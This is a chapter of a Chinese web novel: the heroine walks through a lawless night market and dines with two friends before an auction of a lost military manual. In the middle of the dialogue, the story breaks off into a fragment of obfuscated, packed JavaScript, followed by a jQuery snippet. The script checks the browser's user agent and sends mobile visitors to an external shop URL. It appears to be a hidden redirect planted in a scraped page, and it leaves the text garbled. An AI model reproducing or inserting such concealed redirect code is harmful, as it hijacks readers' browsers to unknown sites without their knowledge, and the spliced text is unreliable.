跑出檀华巷时已是暮色沉沉,暮鼓声正好响起,自坊外缓缓荡起,声韵沉浑悠远,不疾不徐。
聂显荧方才反应过来已至傍晚,她单独行动的时间太长了,得赶紧去找刘长歆和秋余汇合。
不往回走不知道,此刻聂显荧才意识到她在不知不觉间竟走了这么远。
担心刘长歆和秋余着急,聂显荧加快速度往朦胧楼赶去,路上不断看到的过程中西梦溪的一间间商铺卸下门扉,明显察觉出此刻的梦溪坊与白日的反差。
入夜后的梦溪坊才是真的苏醒了。
花红街两侧华灯初上,东梦溪尚且未歇业,西梦溪各个商铺也逐渐热闹起来。相比于白日在东梦溪看到的那样表面平静内里暗流涌动,西梦溪则是更为直接地将混乱摆在明面上,赌坊门前呼喝震天,青楼楚馆弦歌靡靡,黑拳馆内人声沸反,诸般坊外上不得台面的营生尽数罗列,毫无遮掩。
有了西梦溪的助威,东梦溪也不需再遮掩,欢呼与怒骂交织,喧嚣与嘶吼相融,将整个坊市渲染得如同脱笼的野兽,躁动张狂,气息汹汹。
不只是商铺,往来行人纷纷借着这份狂野摘下面具。白日街头见过的深目胡人,褪去商贩的谦和,言语粗豪,举止不羁。背负长剑的剑客敛了行路孤冷,混迹于人群之间,随性酣饮。就连一身长衫的文弱书生,也抛却了礼教斯文的束缚,言谈直白,不拘礼数。
众人皆褪下伪装,不再迂回客套,眉眼间尽数显露对酒色、财利、快意的极致欲望。人人看上去都不拘小节,粗狂不羁,却也因为大家都卸下了伪饰,所以显得直白又真实。
此情此景倒挺像都市里的夜场生活,在现代时她就对蹦迪酒吧赌博什么的不太热衷,因此还被本科同学戏称古代人。
她原本以为古人也是不热衷于这些浮躁刺激的活动的,在她的印象中古代人因着时代背景,社会制度的原因大多都是很含蓄的,谁家若是心血来潮想举办个主题派对什么的,也都是赏花弄曲,吟诗作对那些陶冶情操的活动,就像前日知府大人举办的赏花宴那样。再不济也不会这般大胆地将这些露骨的活动摆在明面上来进行。
然而这样夜夜笙歌,灯红酒绿的场面此刻她亲眼所见,发现原来她才是真正的“古人”,古板的人。
但是或许是因为人人都看着不太好惹,所以混乱之下也无形中形成了一种诡异的平衡。
那就是没人敢闹事来影响梦溪坊的正常营业,或者该说是因为大家的行事风格都变得直接,所以若真有什么矛盾,双方都会采取更为直接的竞技方式,比如两人到店外另寻隐蔽处肉搏决出胜负,一局定胜负,输者必须服气,若再挑事就会被热心的男男女女赶出去,不得再入内。
从檀华巷到望江楼的路程中,聂显荧就看到不下七组人在巷子里干架。
同时让聂显荧感到意外的是骚扰在这也是不存在的。被骚扰的人,不论男女都可直接进到最近的铺子里寻求帮助,实施骚扰的人就会被附近热心群众暴揍一顿后扔到天涌江中自生自灭。
她一时无法形容这种诡异的感觉,暴力与秩序并存,好像十分危险,却又很安全。
在惴惴不安中聂显荧总算到了望江楼。
三层楼宇,楼体不高但面积极宽,几乎占据了整个梦溪坊北部的地盘。一楼临街敞着门面,二楼设着雅致雅间,窗棂雕着缠枝莲纹,三楼阁楼高挑,凭栏可俯瞰整条长街,气派十足。
木窗大开,掩面的宾客迎来送往,鼎沸人声自里面传出来,弦乐鼓点曲声飘扬,推杯换盏接连不断,光是用耳朵听都能描绘出楼内热闹非凡的场面。
聂显荧将凭证交给守门的壮汉检查后便走了进去。
步入其内,果真是热闹非常。堂内正中间的舞台上,穿着飘逸的舞团正在翩翩起舞。舞台外围着的八仙桌挨挨挤挤座无虚席,食客三三两两围坐一桌,划拳行令的吆喝声、谈天说笑的话语声此起彼伏。店小二肩搭白布,穿梭在桌椅之间,脚步不停,高声吆喝着报菜名、传酒菜,碗碟碰撞的脆响不绝于耳。后厨方向热气腾腾,厨刀切剁铿锵作响,菜香、酒香、卤香混着面食的麦香,四处漫溢。
她四处扫视刘长歆和秋余的位置,但这鬼地方着实太大,宾客太多她看都看不过来。
就在她为此头大时,一个身穿交领窄袖襦衫腰系素色细绸腰带的女仆过来招呼她:“姑娘可是找人?”
“正是,我与两位好友相约今日到朦胧楼一叙,但未约定好坐于何处。”
“姑娘可否告知两位好友的体貌特征,衣着打扮?”
聂显荧大致描述了一番刘长歆和秋余今日穿的衣服,还未提及她二人的身量发饰等其他,那姑娘就笑着说:“二位姑娘应是坐于二楼星渚雅间,姑娘请随我来。”
聂显荧惊叹于这姑娘的好记性,同时有白日在茶韵楼的经历做对比,心想要是这里也有xx点评的话她高低要写五百字好评。
在那姑娘的带领下,聂显荧不用再费心找人,只一边跟随一边打量沿路金碧辉煌的装潢。
思及此次到朦胧楼的主要任务,向她打探消息:“听闻今日楼内举办的拍卖会中有一兵书名唤《玄机辑要》,不知真假?”
“姑娘所闻不错,此书还是本次拍卖的重宝,今日不少宾客都是为了此书前来。”
“敢问此书有何玄妙之处?竟引得这么多人为它前来?”
“我只知此书为前朝名将游代觉所著,游将军身故后此书不见了下落。至于其中内容有何妙处,我并不知晓。”
聂显荧总结为名人效应。
忽的,身后一位男宾越过她往三楼上去,聂显荧闻到一股熟悉的香味,引得她目光跟随,面带青铜面具看不见面容,只能看到那人体量同她差不多,体瘦背佝,到三楼后往北面的包间去了,她视线也因此受阻。
是谁呢?
“姑娘,此处就是星渚雅间。”引路的姑娘出声打断她的思绪。
绕开雅间隔挡,刘长歆和秋余二人果真端坐其中。
她们估计到了有一会儿了,菜都已上齐,正打算用饭。
“你可算来了。”秋余见她来了,一边帮她布碗筷一边抱怨,“怎么这么晚?我与小……阿歆还以为你出事了,又担心出去找你会与你错开,在此等的提心吊胆的。”
聂显荧连忙提杯向她二人赔不是:“我走错路了,耽搁不少时间,看完大夫就赶紧往这边赶了,莫生气啊,我敬你们俩一杯。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527264|203569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>三人举杯相碰,杯中酒醇香但不难吞,入喉之后甜丝丝的,回味带有几分果香。
“无碍便好。”刘长歆见安全到达她松了口气,关心道:“可有寻得名医?大夫是如何说的?”
“哪有什么名医啊,都是些江湖骗子。”想起她那一百文铜钱就肉疼,她将买到的书展示,“不过也有所收获,我打算自己研究研究有没有什么好用的偏方能治好。”
秋余囫囵翻阅,啧啧评价:“怪不得人家都说久病成医,我看岁昭姐你有这个潜质。”
刘长歆并未多想,只觉着这样能让聂显荧看见些希望也是好的,只要她别又来跳河那一套就好:“那感情好啊,这样咱们日后出游有个小病小痛的还能省得去找大夫。”
“那可不是。”
刘长歆夹了一箸蒸软羊给她:“我与秋余点了些望江楼的招牌,味道不错,你看看还有什么想尝尝的。”
秋余正打算唤小二把菜单拿上来,聂显荧看着一桌子的菜连忙阻止:“够了够了。”
羊肉软而不膻,入口即化,咸鲜醇香,细品之下还能尝出奶香。
望江楼名不虚传,今日一探,果真如郑诗蕴所说的那样环境好,服务佳,吃食赞,怪不得能吸引到这么多人前来。
饭桌上三人开始闲谈。
“小……阿歆你为何想要那本兵书?”聂显荧想起进来的人都会掩藏自己的身份,学着秋余换了称呼,“我刚才同领路的女仆打探,那本书还挺抢手的,今晚好多人都是为了它来的。”
“实不相瞒,此书是我父亲恩师亲笔,恩师西去后将此书赠与我父亲,后来此书无故失踪。”刘长歆眼中染上忧伤,“父亲去世得早,所留遗物极少,此书变算一件,我与阿兄苦寻多年,一直未寻到踪迹,没想到竟让我碰巧遇上了。”
“竟然如此。”秋余这才知晓这书是老侯爷的,“这么重要,那咱们今晚一定要将它拍下。”
聂显荧不想泼刘长歆凉水,但此书如此珍贵,连承渊剑都能换到,只怕今晚来求书的人不会少。况且会用到兵书的人身份想来也是只高不低的,一味抬高价钱并不一定就可行。
不清楚刘长歆是否留有后手,但她思量一番还是决定提醒她多做些打算:“倘若,我只是假设,倘若被人抢了先,姑娘你当如何?”
聂显荧想到的这些,刘长歆自然也想到了,知晓她话中之意,抿了口中的酒,将腰间的玉佩摘下:“那我便只能将此玉佩赠他,他可以以此牌为信物到府上换任何他想要的东西。”
“这玉佩……”秋余瞪大双眼,震撼不已。
这玉佩是皇后所赐,但担心隔墙有耳,她并未道明。
她想得简单,只觉得今日她们三人身上带的钱财就是在城西买座宅子都够了,一本书哪能这么值钱,肯定能开出最高价将这书拍下。没想过竟然能有人开的价比她们还高,甚至需要用侯府的承诺来换。
聂显荧并不知道这玉佩这么珍贵,但见秋余震惊的样子,也能猜出有几分贵重。
若对方身份同样尊贵,见到此玉佩自然能猜出刘长歆的身份,或许会卖侯府一个面子。若是认不出,那便只是寻常富贵人家,也就更好处理了,给些其他珍宝以作交换就好。